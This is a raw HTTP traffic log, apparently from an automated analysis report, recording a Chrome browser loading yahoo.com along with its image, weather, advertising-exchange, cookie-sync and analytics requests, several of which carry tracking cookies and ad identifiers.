Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=47E8BD94D4DAD4B1
Source: global traffic	HTTP traffic detected: GET /cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=214410604865010092114&gdpr=&gdpr_consent= HTTP/1.1Host: cms.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; _li_dcdm_c=.yahoo.com; _lc2_fpi=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31; _lc2_fpi_meta=%7B%22w%22%3A1714257717635%7D
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/THUNDERSTORMS.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /exchange/prebid?pbav=8.37.0&p=%5B%7B%22placement_id%22%3A%22sda-LREC-iframe%22%2C%22callback_id%22%3A%222004e6570674cdc%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%2C%5B300%2C600%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.23%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_top_right%22%7D%2C%7B%22placement_id%22%3A%22sda-LREC3-iframe%22%2C%22callback_id%22%3A%2221dc84b32c57dcf%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.08%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_as_mid_right_a%22%7D%2C%7B%22placement_id%22%3A%22sda-MAST-iframe%22%2C%22callback_id%22%3A%22223ba09dc7842bd%22%2C%22sizes%22%3A%5B%5B728%2C90%5D%2C%5B970%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.85%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_top_center%22%7D%2C%7B%22placement_id%22%3A%22sda-LREC4-iframe%22%2C%22callback_id%22%3A%2223aa67289a86ebd%22%2C%22sizes%22%3A%5B%5B300%2C250%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.18%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_as_mid_right_b%22%7D%2C%7B%22placement_id%22%3A%22sda-MON2-iframe%22%2C%22callback_id%22%3A%22245dcd9d9814c01%22%2C%22sizes%22%3A%5B%5B300%2C600%5D%5D%2C%22ym_placement_id%22%3A%223492444194302009637%22%2C%22bidFloor%22%3A0.22%2C%22gpid%22%3A%22%2F22888152279%2Fus%2Fyhp%2Fmain%2Fdt%2Fus_yhp_main_dt_as_mid_right_c%22%7D%5D&page_url=https%3A%2F%2Fwww.yahoo.com%2F&bust=1714257717988&dnt=false&description=Latest%20news%20coverage%2C%20email%2C%20free%20stock%20quotes%2C%20live%20scores%20and%20video%20are%20just%20the%20beginning.%20Discover%20more%20every%20day%20at%20Yahoo!&tmax=2000&userConsent=%7B%22gdprApplies%22%3A%22%22%2C%22cmp%22%3A%22%22%2C%22gpp%22%3A%22DBAA%22%2C%22gpp_sid%22%3A%5B-1%5D%7D&us_privacy=1YNN&pr=&scrd=1&title=Yahoo%20%7C%20Mail%2C%20Weather%2C%20Search%2C%20Politics%2C%20News%2C%20Finance%2C%20Sports%20%26%20Videos&w=1280&h=907 HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/default/20200716/masque/scramble-words.jpeg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/jUDPTogMDfGauNm.dTWoBQ--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://images.taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_627%2Cw_1200%2Cc_fill%2Cg_faces:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FIMAGE_UPSCALER%2FEIU%2F85f03fc2-6ff1-4570-89a0-515bca45febe__BWujTRKy.jpg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?dtstmp=1714257718141&did=did-004f&se=e30&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&tv=8.37.0&pu=https%3A%2F%2Fwww.yahoo.com%2F&us_privacy=1YNN&wpn=prebid&gdpr=0&gpp_s=DBAA&gpp_as=-1&cd=.yahoo.com HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/cR8X2NNZ_w2HCLX1lXASWQ--~B/Zmk9c3RyaW07aD00MDg7dz03MjA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2020-07/98c925c0-d18b-11ea-9fff-06141a553c2a.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/Up.dPtTya2UoFvgwi6vzRA--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-03/848bf4e0-eabc-11ee-9bbf-d69d7a44cb6f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ups/58692/cms?partner_id=NEUAR&_origin=false&_redirect=false&_hosted_id=214410604865010092114&gdpr=&gdpr_consent= HTTP/1.1Host: ups.analytics.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; IDSYNC="19ac~2i3y:19aj~2i3y:19bn~2i3y:19bu~2i3y:19cu~2i3y:19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/P1gIuoNrk0jw9Gb0etat2w--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2023-07/d6d83ad0-1b76-11ee-b7dd-3fde6866fb5f.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /eh/prebid-config/bp-fp.json HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/MOSTLY_SUNNY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/THUNDERSTORMS.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/2NW2CfWeNKI57cwpeOIBFw--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-01/bedd8160-ab13-11ee-bbab-76c907c64d8d.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/yahoo_weather_web/accuweather-horizontal.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /j?se=e30&cd=.yahoo.com&dtstmp=1714257718141&tv=8.37.0&did=did-004f&wpn=prebid&pu=https%3A%2F%2Fwww.yahoo.com%2F&gpp_as=-1&us_privacy=1YNN&duid=05c3ae107b3d--01hwgvhtc3s7ykx09q1gdbfw31&gdpr=0&n3pc=true&gpp_s=DBAA HTTP/1.1Host: rp.liadm.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36content-type: text/plainAccept: /Origin: https://www.yahoo.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: lidid=7de677f8-dda1-428e-88ae-9b2fad295b01
Source: global traffic	HTTP traffic detected: GET /cookie_sync HTTP/1.1Host: pbs.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /1a HTTP/1.1Host: i.clean.ggConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sg/yahoo_axid--yahoo_paxid/1/um/?axid=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A&paxid=&gdpr=0&gpp_sid=-1&gpp=DBAA&ui=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2&us_privacy=1YNN HTTP/1.1Host: trc.taboola.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /demconf.jpg?et:ibs%7cdata:dpid=30646 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=63826747359567710540057628888543792331; dpm=63826747359567710540057628888543792331
Source: global traffic	HTTP traffic detected: GET /openrtb/pbjs?s=1057986 HTTP/1.1Host: htlb.casalemedia.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas/content/article/?uuid=8ef8bd59-c0f9-498f-b9d3-9b7d58497a48,44fa19c4-216a-4b5e-941f-e745a6bb82b1,2c163bfe-0479-4986-a62c-3f1337766faf,7c93543a-ce9d-4d62-b6c5-a4acbaa51bd7,3fc502a5-3606-4eaa-a964-da4d6fea6cb0,3740ee8d-0911-4990-aeb6-fa29ecefcb01&appid=news_web&device=desktop&lang=en-US&region=US&site=fp&partner=none&bucket=drop_heimdall_homepage_control_bucket,MimicControlv2-copy,homepage_taboola_benji_1_control,seamless&features=enableEVPlayer,enableOverrideSpaceId,contentFeedbackEnabled,enableAdFeedbackV2,enableInArticleAd,enableOpinionLabel,enableSingleSlotting,enableVideoDocking,outStream,showCommentsIconWithDynamicCount,enableStickyAds,showCommentsIconInShareSec,enableAdSlotsNewMap,enableGAMAds,enableGAMAdsOnLoad,enableFinancePremiumTicker,enableAdLiteUpSellFeedback,enableCommentsCountInViewCommentsCta,enableRRAdsSlots,enableRRAdsSlotsWithJAC,newsModal,enableViewCommentsCTA&rid=1sbetl5j2qvpa HTTP/1.1Host: www.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /oath/1/info2?sType=sync&_sdv&sExtCookieId=y-YSVbioxE2oPyB.SJuye7Yw8M4FFPhdZEn6E-~A&sInitiator=external HTTP/1.1Host: uipglob.semasio.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: SEUNCY=47E8BD94D4DAD4B1
Source: global traffic	HTTP traffic detected: GET /cm-notify?pi=rmx-pbs&_origin=0&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: creativecdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uu/api/res/1.2/BTR8joxFvQtaUQF5ENZGag--~B/Zmk9c3RyaW07aD0xNTY7dz0zMDA7YXBwaWQ9eXRhY2h5b24-/https://s.yimg.com/os/creatr-uploaded-images/2024-04/16743fc0-037c-11ef-aef3-f8ed857fa8aa.cf.webp HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
